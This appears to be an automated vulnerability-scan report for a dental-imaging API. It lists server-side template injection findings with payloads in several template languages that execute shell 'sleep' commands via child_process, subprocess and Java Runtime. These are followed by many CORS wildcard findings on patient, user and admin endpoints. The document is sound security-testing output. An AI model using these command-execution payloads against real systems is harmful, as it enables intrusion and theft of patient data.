Attack	<%= global.process.mainModule.require('child_process').execSync('sleep 3').toString()%>
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	<%= global.process.mainModule.require('child_process').execSync('sleep 4').toString()%>
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	<%= global.process.mainModule.require('child_process').execSync('sleep 6').toString()%>
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	<%= global.process.mainModule.require('child_process').execSync('sleep 7').toString()%>
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST

Attack	<%= %x(sleep 3)%>
Evidence	

Other
Info

URL https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method POST

Attack <%= %x(sleep 4)%>

Evidence

Other
Info

URL https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method POST

Attack {system("sleep 3")}

Evidence

Other
Info

URL https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method POST

Attack {system("sleep 4")}

Evidence

Other
Info

URL https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method POST

Attack {system("sleep 5")}

Evidence

Other
Info

URL https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method POST

Attack {system("sleep 6")}

Evidence

Other
Info

URL https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method POST

Attack {{{""._class_.____mro_[1]._subclasses_()[157]._repr_.____globals_.get("_builtins_").get("_import_")("subprocess").check_output("sleep 6")}}}

Evidence

Other
Info

URL https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method POST

Attack {{= global.process.mainModule.require('child_process').execSync('sleep 4').toString() }}

Evidence

Other
Info

URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	{{_import_("subprocess").check_output("sleep 3", shell=True)}}
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	{{_import_("subprocess").check_output("sleep 4", shell=True)}}
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	{{_import_("subprocess").check_output("sleep 5", shell=True)}}
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	{{_import_("subprocess").check_output("sleep 6", shell=True)}}
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	{{_import_("subprocess").check_output("sleep 7", shell=True)}}
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	{{range.constructor("return eval(\"global.process.mainModule.require('child_process').execSync('sleep 3').toString()\")")()}}
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	{{range.constructor("return eval(\"global.process.mainModule.require('child_process').execSync('sleep 4').toString()\")")()}}
Evidence	

Other Info	
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST

Attack	{{range.constructor("return eval(\"global.process.mainModule.require('child_process').execSync('sleep 5').toString()\")()")}}}
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	{{range.constructor("return eval(\"global.process.mainModule.require('child_process').execSync('sleep 7').toString()\")()")}}}
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/patient/scan/skip
Method	POST
Attack	<%= global.process.mainModule.require('child_process').execSync('sleep 3').toString()%>
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/sikka/add_image
Method	POST
Attack	<#assign ex="freemarker.template.utility.Execute"?new()> \${ ex("sleep 4") }
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/sikka/create_patient_webhook
Method	POST
Attack	{{= global.process.mainModule.require('child_process').execSync('sleep 3').toString() }}
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/sikka/create_patient_webhook
Method	POST
Attack	#{global.process.mainModule.require('child_process').execSync('sleep 3').toString() }
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/sikka/create_patient_webhook
Method	POST
Attack	#set(\$engine="") #set(\$proc=\$engine.getClass().forName("java.lang.Runtime").getRuntime().exec("sleep 3")) #set(\$null=\$proc.waitFor()) \${null}
Evidence	

Other Info	
URL	https://api.velmeni.ai/api/sikka/create_patient_webhook
Method	POST
Attack	{{= global.process.mainModule.require('child_process').execSync('sleep 4').toString() }}
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/sikka/create_patient_webhook
Method	POST
Attack	#{%x(sleep 4)}
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/sikka/create_patient_webhook
Method	POST
Attack	<%= %x(sleep 3)%>
Evidence	
Other Info	
URL	https://api.velmeni.ai/api/velmeni_bridge/add_image
Method	POST
Attack	<%= %x(sleep 3)%>
Evidence	
Other Info	
Instances	85
Solution	Instead of inserting the user input in the template, use it as rendering argument.
Reference	https://portswigger.net/blog/server-side-template-injection
CWE Id	74
WASC Id	20
Plugin Id	90036

Medium	Cross-Domain Misconfiguration
Description	Web browser data loading may be possible, due to a Cross Origin Resource Sharing (CORS) misconfiguration on the web server
URL	https://api.velmeni.ai/api/organizations/delete/26?source_system=VELMENI_FOR_DENTIST
Method	DELETE
Attack	
Evidence	Access-Control-Allow-Origin: *
Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.

URL	https://api.velmeni.ai/api/organizations/practice/delete/1659?source_system=VELMENI_FOR_DENTIST
Method	DELETE
Attack	
Evidence	Access-Control-Allow-Origin: *
Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.
URL	https://api.velmeni.ai/api/patient/delete/145139?source_system=VELMENI_FOR_DENTIST
Method	DELETE
Attack	
Evidence	Access-Control-Allow-Origin: *
Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.
URL	https://api.velmeni.ai/api/user/delete/1919?source_system=VELMENI_FOR_DENTIST
Method	DELETE
Attack	
Evidence	Access-Control-Allow-Origin: *
Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.
URL	https://api.velmeni.ai/api/analytics/compare_json/22?source_system=VELMENI_FOR_DENTIST
Method	GET
Attack	
Evidence	Access-Control-Allow-Origin: *
Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.
URL	https://api.velmeni.ai/api/analytics/doctor_stats?organization_id=7&source_system=VELMENI_FOR_DENTIST
Method	GET
Attack	
Evidence	Access-Control-Allow-Origin: *
Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from

authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.

URL

https://api.velmeni.ai/api/analytics/generate_visit_report?visit_id=115535&report_type=pdf&source_system=VELMENI_FOR_DENTIST

Method

GET

Attack

Evidence

Access-Control-Allow-Origin: *

Other
Info

The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.

URL

https://api.velmeni.ai/api/analytics/tooth_analysis/1

Method

GET

Attack

Evidence

Access-Control-Allow-Origin: *

Other
Info

The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.

URL

https://api.velmeni.ai/api/auth/list_scopes?source_system=VELMENI_FOR_DENTIST

Method

GET

Attack

Evidence

Access-Control-Allow-Origin: *

Other
Info

The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.

URL

https://api.velmeni.ai/api/dental_robot/get_patient/D12345_1_100

Method

GET

Attack

Evidence

Access-Control-Allow-Origin: *

Other
Info

The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.

URL

https://api.velmeni.ai/api/hierarchy?source_system=VELMENI_FOR_DENTIST

Method

GET

Attack

Evidence

Access-Control-Allow-Origin: *

Other
Info

The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could

be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.

URL	https://api.velmeni.ai/api/organizations/53/practice?source_system=VELMENI_FOR_DENTIST
Method	GET
Attack	
Evidence	Access-Control-Allow-Origin: *
Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.
URL	https://api.velmeni.ai/api/organizations/get/26?source_system=VELMENI_FOR_DENTIST
Method	GET
Attack	
Evidence	Access-Control-Allow-Origin: *
Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.
URL	https://api.velmeni.ai/api/organizations/get_organization_logo_urls/1
Method	GET
Attack	
Evidence	Access-Control-Allow-Origin: *
Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.
URL	https://api.velmeni.ai/api/organizations/get_practice_logo_urls/1453?source_system=VELMENI_FOR_DENTIST
Method	GET
Attack	
Evidence	Access-Control-Allow-Origin: *
Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.
URL	https://api.velmeni.ai/api/organizations/list?source_system=VELMENI_FOR_DENTIST
Method	GET
Attack	
Evidence	Access-Control-Allow-Origin: *
Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could

be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.

URL	https://api.velmeni.ai/api/organizations/practice/get/1273?source_system=VELMENI_FOR_DENTIST
Method	GET
Attack	
Evidence	Access-Control-Allow-Origin: *
Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.
URL	https://api.velmeni.ai/api/patient/56526/history/?source_system=VELMENI_FOR_DENTIST
Method	GET
Attack	
Evidence	Access-Control-Allow-Origin: *
Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.
URL	https://api.velmeni.ai/api/patient/get/145139?source_system=VELMENI_FOR_DENTIST
Method	GET
Attack	
Evidence	Access-Control-Allow-Origin: *
Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.
URL	https://api.velmeni.ai/api/patient/list/1656?source_system=VELMENI_FOR_DENTIST
Method	GET
Attack	
Evidence	Access-Control-Allow-Origin: *
Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.
URL	https://api.velmeni.ai/api/patient/list_image_by_patient/137120?source_system=VELMENI_FOR_DENTIST
Method	GET
Attack	
Evidence	Access-Control-Allow-Origin: *
Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could

be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.

URL

https://api.velmeni.ai/api/patient/list_image_by_visit_id/107073?source_system=VELMENI_FOR_DENTIST

Method

GET

Attack

Evidence

Access-Control-Allow-Origin: *

Other
Info

The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.

URL

https://api.velmeni.ai/api/patient/list_images/3

Method

GET

Attack

Evidence

Access-Control-Allow-Origin: *

Other
Info

The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.

URL

https://api.velmeni.ai/api/patient/list_patients/1170?source_system=VELMENI_FOR_DENTIST

Method

GET

Attack

Evidence

Access-Control-Allow-Origin: *

Other
Info

The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.

URL

https://api.velmeni.ai/api/patient/pathology/list?source_system=VELMENI_FOR_DENTIST

Method

GET

Attack

Evidence

Access-Control-Allow-Origin: *

Other
Info

The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.

URL

https://api.velmeni.ai/api/patient/scan/12931?source_system=VELMENI_FOR_DENTIST

Method

GET

Attack

Evidence

Access-Control-Allow-Origin: *

Other
Info

The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could

be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.

URL	https://api.velmeni.ai/api/patient/search/399?name=pu&source_system=VELMENI_FOR_DENTIST
Method	GET
Attack	
Evidence	Access-Control-Allow-Origin: *
Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.
URL	https://api.velmeni.ai/api/user/get/1919?source_system=VELMENI_FOR_DENTIST
Method	GET
Attack	
Evidence	Access-Control-Allow-Origin: *
Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.
URL	https://api.velmeni.ai/api/user/get_preferred_numbering_system?source_system=VELMENI_FOR_DENTIST
Method	GET
Attack	
Evidence	Access-Control-Allow-Origin: *
Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.
URL	https://api.velmeni.ai/api/user/list/1170?source_system=VELMENI_FOR_DENTIST
Method	GET
Attack	
Evidence	Access-Control-Allow-Origin: *
Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.
URL	https://api.velmeni.ai/api/user/list?source_system=VELMENI_FOR_DENTIST
Method	GET
Attack	
Evidence	Access-Control-Allow-Origin: *
Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could

be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.

URL https://api.velmeni.ai/api/user/list_roles?source_system=VELMENI_FOR_DENTIST

Method GET

Attack

Evidence Access-Control-Allow-Origin: *

Other Info The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.

URL https://api.velmeni.ai/api/admin/delete_organization/27

Method POST

Attack

Evidence Access-Control-Allow-Origin: *

Other Info The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.

URL https://api.velmeni.ai/api/admin/delete_practice/21

Method POST

Attack

Evidence Access-Control-Allow-Origin: *

Other Info The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.

URL https://api.velmeni.ai/api/analytics/add_medical_note

Method POST

Attack

Evidence Access-Control-Allow-Origin: *

Other Info The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.

URL https://api.velmeni.ai/api/analytics/get_comparison_report

Method POST

Attack

Evidence Access-Control-Allow-Origin: *

Other Info The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.

URL	https://api.velmeni.ai/api/analytics/list_analysis_job/3
Method	POST
Attack	
Evidence	Access-Control-Allow-Origin: *
Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.
URL	https://api.velmeni.ai/api/analytics/logged_in_users
Method	POST
Attack	
Evidence	Access-Control-Allow-Origin: *
Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.
URL	https://api.velmeni.ai/api/auth
Method	POST
Attack	
Evidence	Access-Control-Allow-Origin: *
Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.
URL	https://api.velmeni.ai/api/dental_robot/add_image
Method	POST
Attack	
Evidence	Access-Control-Allow-Origin: *
Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.
URL	https://api.velmeni.ai/api/dental_robot/create_patients
Method	POST
Attack	
Evidence	Access-Control-Allow-Origin: *
Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.
URL	https://api.velmeni.ai/api/dental_robot/create_users

Method	POST
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Attack	
Evidence	Access-Control-Allow-Origin: *
Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.
URL	https://api.velmeni.ai/api/migration/migrate
Method	POST
Attack	
Evidence	Access-Control-Allow-Origin: *
Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.
URL	https://api.velmeni.ai/api/organizations/add
Method	POST
Attack	
Evidence	Access-Control-Allow-Origin: *
Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.
URL	https://api.velmeni.ai/api/organizations/practice/add
Method	POST
Attack	
Evidence	Access-Control-Allow-Origin: *
Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.
URL	https://api.velmeni.ai/api/organizations/save_features
Method	POST
Attack	
Evidence	Access-Control-Allow-Origin: *
Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.
URL	https://api.velmeni.ai/api/patient/create
Method	POST
Attack	
Evidence	Access-Control-Allow-Origin: *

Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.
URL	https://api.velmeni.ai/api/patient/get_s3_auth_urls?source_system=VELMENI_FOR_DENTIST
Method	POST
Attack	
Evidence	Access-Control-Allow-Origin: *
Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.
URL	https://api.velmeni.ai/api/patient/list_by_appointment/1173
Method	POST
Attack	
Evidence	Access-Control-Allow-Origin: *
Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.
URL	https://api.velmeni.ai/api/patient/scan/add?source_system=VELMENI_FOR_DENTIST
Method	POST
Attack	
Evidence	Access-Control-Allow-Origin: *
Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.
URL	https://api.velmeni.ai/api/patient/scan/analyze/2202
Method	POST
Attack	
Evidence	Access-Control-Allow-Origin: *
Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	

Evidence	Access-Control-Allow-Origin: *
Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.
URL	https://api.velmeni.ai/api/patient/scan/skip
Method	POST
Attack	
Evidence	Access-Control-Allow-Origin: *
Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.
URL	https://api.velmeni.ai/api/patient/scan/update_slot
Method	POST
Attack	
Evidence	Access-Control-Allow-Origin: *
Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.
URL	https://api.velmeni.ai/api/role/create_role
Method	POST
Attack	
Evidence	Access-Control-Allow-Origin: *
Other Info	The CORS misconfiguration on the web server permits cross-domain read requests from arbitrary third party domains, using unauthenticated APIs on this domain. Web browser implementations do not permit arbitrary third parties to read the response from authenticated APIs, however. This reduces the risk somewhat. This misconfiguration could be used by an attacker to access data that is available in an unauthenticated manner, but which uses some other form of security, such as IP address white-listing.
